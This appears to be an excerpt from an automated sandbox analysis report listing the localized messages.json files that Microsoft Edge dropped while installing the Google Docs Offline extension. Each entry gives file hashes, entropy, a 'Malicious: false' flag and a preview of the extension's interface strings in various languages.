Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
